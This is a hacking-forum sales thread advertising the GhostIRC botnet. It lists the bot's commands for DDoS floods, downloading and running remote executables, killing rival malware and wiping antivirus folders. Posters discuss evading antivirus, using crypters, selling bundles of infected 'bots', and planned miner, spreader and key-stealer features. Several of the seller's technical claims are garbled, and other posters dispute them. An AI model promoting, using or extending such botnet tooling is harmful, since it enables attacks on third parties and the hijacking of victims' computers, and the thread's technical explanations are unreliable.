

Forum:[Hack Forums](#)

Thread: [GhostIRC v1.2 | DDos | Botkill | Persistence | IRC included | Cheapest bot on HF!](#)

Cakeb\$\$\$ - October 21, 2013, 8:59 am

[img]<http://i884.photobucket.com/albums/ac45/snwspeckle/Vouches.png>[/img]

Spoiler ([Click to View](#))

Commands

Spoiler ([Click to View](#))

```
.login bot pass
.logout <-- slave will no longer take commands unless login again
.udp IP PORT SOCKETS THREADS SIZE
.syn IP PORT SOCKETS THREADS
.http URL THREADS
.stop
.exit
.download http://google.com/your.exe radom-name.exe true
.uninstall
.join #channel
.part #channel
.say|#channel|text to say
.update 1.2 http://google.com/your.exe radom-name.exe (1.2 can be any version 0.1-9.9)
.bk on <--- basic botkiller = appdata/temp
.bk off
.roos on <--- pretty much every major folder including av folders with registry wipe
.roos off
.uptime
.info-version
.info-computer
.info-user
.silent on
.silent off
```

Th3 J0k3r - October 21, 2013, 9:00 am

seems promising GLWS man with this :)

Cakeb\$\$\$ - October 21, 2013, 9:01 am

(Oct 21, 2013 09:00 AM)Phillo Wrote: [\[CITE\]](#) seems promising GLWS man with this :)

Thanks im happy to be a part of this project and there is some interesting updates coming out it seems

Wallet - October 21, 2013, 9:13 am

Good luck with future sales, yogurt! Seems like a nice piece of work.

PouZ - October 21, 2013, 9:15 am

Looks very nice. Might buy this! :)

TheSonOfTheDevil - October 21, 2013, 9:16 am

hey thank's yogurt just been busy doing updates, But thread looks great:)

@Phillo

Thanks, It might be worth more but it need to be cheap so any one can try this out^^

Cakeb\$\$\$ - October 21, 2013, 9:22 am

(Oct 21, 2013 09:13 AM)Wallet Wrote: [\[CITE\]](#) Good luck with future sales, yogurt! Seems like a nice piece of work.

Thanks! Looking forward to some customers. Sucks that some dick instantly 1 starred it without even posting a complaint first.

Wallet - October 21, 2013, 9:23 am

(Oct 21, 2013 09:22 AM)yogurt Wrote: [\[CITE\]](#) Thanks! Looking forward to some customers. Sucks that some dick instantly 1 starred it without even posting a complaint first.

Welcome to HF's marketplace, right there. That is how it's going to be - Satisfy your future costumers to make them 5' it. ?

KFC Watermelon - October 21, 2013, 9:24 am

You should add information about the persistence. What are you using to protect the startup, file, and process? Also, what methods are you utilizing to remove "almost all malware sold on HF"?

Also, abandand logon/logout system. Use authhost or something.

Cakeb\$\$\$ - October 21, 2013, 9:39 am

(Oct 21, 2013 09:24 AM)KFC Watermelon Wrote: [\[CITE\]](#) You should add information about the persistence. What are you using to protect the startup, file, and process? Also, what methods are you utilizing to remove "almost all malware sold on HF"?

Also, abandand logon/logout system. Use authhost or something.

I'm not especially deep in the technical stuff so send a pm to maiya and ask your questions and you will get some knowledgeable answers ?

TheSonOfTheDevil - October 21, 2013, 9:51 am

(Oct 21, 2013 09:24 AM)KFC Watermelon Wrote: [\[CITE\]](#) You should add information about the

persistence. What are you using to protect the startup, file, and process? Also, what methods are you utilizing to remove "almost all malware sold on HF"?

Also, abundant logon/logout system. Use authhost or something.
there is no persistence there is no need for it with 32 startup methods no matter what even if bot-killed once slave restarts bot 'will' come back.

yes Ghost IRC uses authhost and logon-logout system.

Brian Krebs - October 21, 2013, 10:07 am

(Oct 21, 2013 09:51 AM)Maiya Wrote: [\[CITE\]](#) there is no persistence there is no need for it with 32 startup methods no matter what even if bot-killed once slave restarts bot 'will' come back.

yes Ghost IRC uses authhost and logon-logout system.
If something is called it doesn't come back because of start up lol. Even if you had a bootkit if it gets killed by AV then it's killed lol.

TheSonOfTheDevil - October 21, 2013, 10:15 am

(Oct 21, 2013 10:07 AM)Skyon Wrote: [\[CITE\]](#) If something is called it doesn't come back because of start up lol. Even if you had a bootkit if it gets killed by AV then it's killed lol.
that's what I always thought to but this bot has been tested for 2 months now botkillers has no effect? now as far as AV's go as long as Bin is FUD and gets picked up it will kill its self after 20-30 seconds it reconnects, if Bin is not FUD and AV picks it up it runs from the AV's vault folder.

Vector Dynamics - October 21, 2013, 10:22 am

(Oct 21, 2013 09:51 AM)Maiya Wrote: [\[CITE\]](#) there is no persistence there is no need for it with 32 startup methods no matter what even if bot-killed once slave restarts bot 'will' come back.

yes Ghost IRC uses authhost and logon-logout system.
Are you sure of that?
Like..Really sure?

Cakeb\$\$\$ - October 21, 2013, 10:25 am

(Oct 21, 2013 10:22 AM)Vector Dynamics Wrote: [\[CITE\]](#) Are you sure of that?
Like..Really sure?
2 months of testing says that is how it works generally in the wild

TheSonOfTheDevil - October 21, 2013, 10:27 am

(Oct 21, 2013 10:22 AM)Vector Dynamics Wrote: [\[CITE\]](#) Are you sure of that?
Like..Really sure?
yes, I know how it sounds but that's really how it works, I've tested 1st hand on my computer with AVG, the was picked up and sent to AVG virus vault and still connected to the irc..

pwned™ - October 21, 2013, 10:28 am

Vouch for my old mate yogurt, looks like an awesome product ;)

Cakeb\$\$\$ - October 21, 2013, 10:29 am

(Oct 21, 2013 10:28 AM)pwned™ Wrote: [\[CITE\]](#) Vouch for my old mate yogurt, looks like an awesome product ;)
Thanks man. nice to see you adapted well to hf ?

KFC Watermelon - October 21, 2013, 10:33 am

(Oct 21, 2013 10:27 AM)Maiya Wrote: [\[CITE\]](#) yes, I know how it sounds but that's really how it works,

I've tested 1st hand on my computer with AVG, the was picked up and sent to AVG virus vault and still connected to the irc..

OK, I assume this incorporates some rootkit functionality, correct?

TheSonOfTheDevil - October 21, 2013, 10:41 am

(Oct 21, 2013 10:33 AM)KFC Watermelon Wrote: [\[CITE\]](#) OK, I assume this incorporates some rootkit functionality, correct?

yes, well i guess on the the definition of rootkit, when i was researching rootkits I learned there was ring0 , ring1, ring2 and ring3 so i pit the main parts together and noticed on ring2 and ring3 on the workings of it so between that and a post on hack forums on working on AV folder I put the two together and hell no i far from got it on first try didn't think it would work but glad it it tho..

KFC Watermelon - October 21, 2013, 10:58 am

(Oct 21, 2013 10:41 AM)Maiya Wrote: [\[CITE\]](#) yes, well i guess on the the definition of rootkit, when i was researching rootkits I learned there was ring0 , ring1, ring2 and ring3 so i pit the main parts together and noticed on ring2 and ring3 on the workings of it so between that and a post on hack forums on working on AV folder I put the two together and hell no i far from got it on first try didn't think it would work but glad it it tho..

So you're incorporating a ring2-ring3 rootkit? What hooks are you utilizing?

Also, I seen in your development thread that the UDP was amplified, how do you put in a list of DNSs? Also, is the SYN spoofed or super or just regular SYN?

TheSonOfTheDevil - October 21, 2013, 11:12 am

(Oct 21, 2013 10:58 AM)KFC Watermelon Wrote: [\[CITE\]](#) So you're incorporating a ring2-ring3 rootkit? What hooks are you utilizing?

Also, I seen in your development thread that the UDP was amplified, how do you put in a list of DNSs? Also, is the SYN spoofed or super or just regular SYN?

not sure what your meaning is when you say hooks, but ghost hooks its self onto user32.dll and services.exe running off Async and win32.

and UDP amplified meaning ghost runs off two users the user and administrator so when attacks are sent the ring0 takes effect so if the slave has the built in administrator account (most do) that account+user sending say 6500 both send at same time while keeping stability. so its more its more of a split attack.

Agent Raigar - October 21, 2013, 12:01 pm

Maiya? Seriously dude? Ahaahahahahaha, anyway glws

Cakeb\$\$\$ - October 21, 2013, 12:09 pm

(Oct 21, 2013 12:01 PM)Agent Raigar Wrote: [\[CITE\]](#) Maiya? Seriously dude? Ahaahahahahaha, anyway glws

Thanks i guess. ?

Don't know what you are implying

TheSonOfTheDevil - October 21, 2013, 12:11 pm

(Oct 21, 2013 12:09 PM)yugurt Wrote: [\[CITE\]](#) Thanks i guess. ?

Don't know what you are implying

oh I've know him for awhile like a year or two, but back in those days i sucked lol

monsterhawt - October 21, 2013, 1:00 pm

This looks very promising. Good luck with sales man.

Cakeb\$\$\$ - October 21, 2013, 1:03 pm

(Oct 21, 2013 01:00 PM)monsterhawt Wrote: [\[CITE\]](#) This looks very promising. Good luck with sales man.

Thanks. if you have any questions just ask ?

codeine. - October 21, 2013, 1:06 pm

this looks promising. i might buy this.]
what crypters are compatible with this

betamonkey - October 21, 2013, 1:15 pm

Windows only utilizes rings 0 and 3 for backwards compatibility purposes.

Man if you are going to claim rootkit-like functionality in a CLR based program, you really need to back that up with some indisputable evidence or else it just sounds like more smoke blowing.

Quote: not sure what your meaning is when you say hooks, but ghost hooks its self onto user32.dll and services.exe running off Async and win32.

That does not make sense. Are you talking about SetWindowsHookEx?

TheSonOfTheDevil - October 21, 2013, 1:24 pm

(Oct 21, 2013 01:15 PM)betamonkey Wrote: [\[CITE\]](#) Windows only utilizes rings 0 and 3 for backwards compatibility purposes.

Man if you are going to claim rootkit-like functionality in a CLR based program, you really need to back that up with some indisputable evidence or else it just sounds like more smoke blowing.

That does not make sense. Are you talking about SetWindowsHookEx?

kinda, if you read the post i reply to KFC you will see I only used parts of rootkits not then kootkits its self..

and

as of crypter's most C# crypters should work was only able to test cube crypter at the time cause that's all i had at the time, But there's no eof or anything but as time comes I hope to test ether crypters with it.

betamonkey - October 21, 2013, 1:32 pm

Yes but what I am saying is your responses make no sense.. Nothing you have said says how or what exactly any of this does? If you know what you're doing then it should be easy to explain. Even easy to just explain enough to make it seem credible.

I dunno man, I think I already know the answer but I'll just quit here because I don't want to get into a flame war.

KFC Watermelon - October 21, 2013, 1:38 pm

(Oct 21, 2013 01:24 PM)Maiya Wrote: [\[CITE\]](#) kinda, if you read the post i reply to KFC you will see I only used parts of rootkits not then kootkits its self..

and

as of crypter's most C# crypters should work was only able to test cube crypter at the time cause that's all i had at the time, But there's no eof or anything but as time comes I hope to test ether crypters with it.

So you're hooking startup.dll so the file always starts on reboot?

Betamonkey is right on ring0 being backwards compatible, but sending the UDP under the backwards compatible one can be very efficient for amplified dns attack.

Cakeb\$\$\$ - October 23, 2013, 2:54 am

IRC and bot are still available. Maiya got a temp ban until the 25 so nothing serious.

7H3 3XP3R7 - October 23, 2013, 3:00 am

looks Really Cool is there any free Bin + spot for Testing it :D for me ?

Mt. Everest - October 23, 2013, 4:03 am

Seen this back when it was in beta and it was very promising even back then. GLWS Maiya and yogurt.

FaggotFlounder - October 23, 2013, 4:05 am

.net 2.0 is not installed on 95% of the computers in the world. Stop bullshitting.

Cakeb\$\$\$ - October 23, 2013, 4:15 am

(Oct 23, 2013 03:00 AM)XTriGGeRX Wrote: [\[CITE\]](#) looks Really Cool is there any free Bin + spot for Testing it :D for me ?

No we had some testers already in the development thread

(Oct 23, 2013 04:03 AM)mclab Wrote: [\[CITE\]](#) Seen this back when it was in beta and it was very promising even back then. GLWS Maiya and yogurt.

Thanks we are happy to be launched and selling the product.

(Oct 23, 2013 04:05 AM)FaggotFlounder Wrote: [\[CITE\]](#) .net 2.0 is not installed on 95% of the computers in the world. Stop bullshitting.

Solid proof that it's not installed on 95%+ of internet connected computers and i will change it. ?

7H3 3XP3R7 - October 23, 2013, 4:18 am

but Know that .Net Is very Bad for Stability ..

Cakeb\$\$\$ - October 23, 2013, 4:21 am

(Oct 23, 2013 04:18 AM)XTriGGeRX Wrote: [\[CITE\]](#) but Know that .Net Is very Bad for Stability ..

Same as before solid proof on that net would bring any form of stability issues to a product and i will side with you on that. This bot is quite stable from my testing. i have not lost any amount of bots since i received it.

FaggotFlounder - October 23, 2013, 4:36 am

(Oct 23, 2013 04:15 AM)yugurt Wrote: [\[CITE\]](#) No we had some testers already in the development thread

Thanks we are happy to be launched and selling the product.

Solid proof that it's not installed on 95%+ of internet connected computers and i will change it. ?

Are you out of your mind? Lets say 90% the computers are windows, which they are not they are way less. Then let's say 90% of the windows computers have .net 2.0, that makes 81% of all computers have .net 2.0 +

Stop talking out of your ass and lying to your customers with your c/p bot.

Cakeb\$\$\$ - October 23, 2013, 9:03 am

(Oct 23, 2013 04:36 AM)FaggotFlounder Wrote: [\[CITE\]](#) Are you out of your mind? Lets say 90% the computers are windows, which they are not they are way less. Then let's say 90% of the windows

computers have .net 2.0, that makes 81% of all computers have .net 2.0 +

Stop talking out of your ass and lying to your customers with your c/p bot.

You seem rather mad. lets keep this in talking tone. we meant windows computers since people normally assume most products only work on windows unless stated they work cross platform.

FaggotFlounder - October 23, 2013, 9:22 am

(Oct 23, 2013 09:03 AM)yugurt Wrote: [\[CITE\]](#) You seem rather mad. lets keep this in talking tone. we meant windows computers since people normally assume most products only work on windows unless stated they work cross platform.

Not mad, also what you meant is not important. It clearly says it on the thread thus you have misinformed and lied to your customers.

Cakeb\$\$\$ - October 23, 2013, 9:29 am

(Oct 23, 2013 09:22 AM)FaggotFlounder Wrote: [\[CITE\]](#) Not mad, also what you meant is not important. It clearly says it on the thread thus you have misinformed and lied to your customers.

I think it is quite important since it decides who's right here. anyway if you want to argue about it do it in pm's since this is cluttering the thread

Wallet - October 23, 2013, 9:30 am

Hows sales going, yugurt?

I want to hear a feedback.

I hope everythings okay so far!

Leaving forever - October 23, 2013, 9:33 am

(Oct 23, 2013 09:30 AM)Wallet Wrote: [\[CITE\]](#) Hows sales going, yugurt?

I want to hear a feedback.

I hope everythings okay so far!

What the hell is this supposed to be? Every heard the term "Sales Thread"?

Almost Einstein - October 23, 2013, 10:03 am

Looks like a great deal! GLWS bro. :) I will buy when i get some money!

Stew?e - October 23, 2013, 10:41 am

Would I be able to get a vouch copy mate? :)

SpriteZ - October 23, 2013, 10:59 am

(Oct 23, 2013 04:18 AM)XTriGGeRX Wrote: [\[CITE\]](#) but Know that .Net Is very Bad for Stability .. .NET offers increased stability if anything.

Cakeb\$\$\$ - October 23, 2013, 1:11 pm

(Oct 23, 2013 10:41 AM)Stewie. Wrote: [\[CITE\]](#) Would I be able to get a vouch copy mate? :)

Vouches are already given away in the development thread.

FaggotFlounder - October 23, 2013, 2:22 pm

(Oct 23, 2013 09:29 AM)Tastylicous Wrote: [\[CITE\]](#) Kidding? Everyone with common sense will know that only Windows Machines are meant, otherwise he would have mentioned something like "OSX support" or whatever ???

I'm sorry I'm not the typical HF skid.

Cakeb\$\$\$ - October 23, 2013, 2:24 pm

(Oct 23, 2013 02:22 PM)FaggotFlounder Wrote: [\[CITE\]](#) I'm sorry I'm not the typical HF skid.

Ok i realized that pretty early on. now if there is anything else you would like to post can you please do it in a pm?

Precursor - October 23, 2013, 2:50 pm

Comon guys. Let him do this business and you do yours. Simple , you avoid trouble and chances of back fire.

Cakeb\$\$\$ - October 23, 2013, 2:51 pm

(Oct 23, 2013 02:50 PM)Precursor Wrote: [\[CITE\]](#) Comon guys. Let him do this business and you do yours. Simple , you avoid trouble and chances of back fire.

Thanks. critique is always good but if intend to spam the thread with two pages i would prefer pm's

Cakeb\$\$\$ - October 25, 2013, 6:14 am

Bot is still available and we have already sold some copies :)

Cakeb\$\$\$ - October 26, 2013, 11:03 am

Still available guys. If you want your irc spots setup contact maiya since he manages the irc.

TheSonOfTheDevil - October 26, 2013, 11:12 am

sorry guy's as some may know, I've feel down some stairs and was healing for 3 day's... q_q

But I'm back now support and setups are ready to and version 1.3 coming soon

features:

bitcoin miner
usb / exe spreaders
cd key stealer

contact skype: maiya.shawn

Cakeb\$\$\$ - October 26, 2013, 11:48 am

(Oct 26, 2013 11:12 AM)Maiya Wrote: [\[CITE\]](#) sorry guy's as some may know, I've feel down some stairs and was healing for 3 day's... q_q

But I'm back now support and setups are ready to and version 1.3 coming soon

features:

bitcoin miner
usb / exe spreaders
cd key stealer

contact skype: maiya.shawn

Great to hear that your better now. Update also looks great!

Cakeb\$\$\$ - October 27, 2013, 5:53 pm

Ok we are still offering bins and the irc is up. Just get in touch and receive yours

Cakeb\$\$\$ - October 30, 2013, 4:44 am

Lots of updates being tested right now. Stealers might be added in the next update

TheSonOfTheDevil - November 3, 2013, 7:32 pm

update:

Ghost has now been fixed please pm me you info on HF or skype for new bin's

NEW: Ghost Client coming soon, yes you will still have to type commands but no mIRC or ect needed to use Ghost [coming in a week]

DiamondCube - November 3, 2013, 8:39 pm

Quick inquiry - this is based off of the leaked insomnia 2.0 c# and then updated to work with some added features? or straight from scratch?

TheSonOfTheDevil - November 3, 2013, 9:26 pm

yes its straight from scratch many people have seen me working on it over join.me the past month, why you say that? think i'm selling the insomnia 2.0 source to makes no since lol

DiamondCube - November 3, 2013, 9:44 pm

(Nov 3, 2013 10:26 PM)Maiya Wrote: [\[CITE\]](#) yes its straight from scratch many people have seen me working on it over join.me the past month, why you say that? think i'm selling the insomnia 2.0 source to makes no since lol

Was a legit question, not trying to trash you at all. There's just a lot of c# .net going around because of the leak of the insomnia source. Sorry. Sounds like a great irc net dude! GLWS ?

TheSonOfTheDevil - November 4, 2013, 12:40 am

(Nov 3, 2013 10:44 PM)DiamondCube Wrote: [\[CITE\]](#) Was a legit question, not trying to trash you at all. There's just a lot of c# .net going around because of the leak of the insomnia source. Sorry. Sounds like a great irc net dude! GLWS ?
yea np??? lol and thanks?

Fillothesilo - November 4, 2013, 9:45 pm

Vouch for maiya. bought the Bin stable as fuck! Great OP. Thanks

Cakeb\$\$s - November 5, 2013, 12:37 am

(Nov 4, 2013 10:45 PM)App Store Wrote: [\[CITE\]](#) Vouch for maiya. bought the Bin stable as fuck! Great OP. Thanks

Thanks for your vouch. this has gotten some updates so it should be really damn stable now ?

TheSonOfTheDevil - November 5, 2013, 3:39 pm

yep:)

and working on a video showing the bot in action, well post when ready..

Cakeb\$\$s - November 6, 2013, 2:38 pm

Bot is still for sale and more updates is coming along

TheSonOfTheDevil - November 9, 2013, 6:41 pm

sale!!!

plan #2 + 10 bots

plan #3 + 50 bots

great for testing and starting out, This is for the next 24 hours only!

skype: maiya.shawn

thanks yugurt for a nice thread:)

nonA? - November 10, 2013, 2:16 pm

Can i get vouch copy?, have already IRCserver. I paste results on this thread! :)

TheSonOfTheDevil - November 16, 2013, 11:01 am

(Nov 10, 2013 03:16 PM)tozzue Wrote: [\[CITE\]](#) Can i get vouch copy?, have already IRCserver. I paste results on this thread! :)

sorry i would but I've given 14 people vouch copy's and only one reply, so there's no more vouch copy's...

IHitNoobs - November 16, 2013, 11:30 am

hey bro i am interested in buying hope we can work something out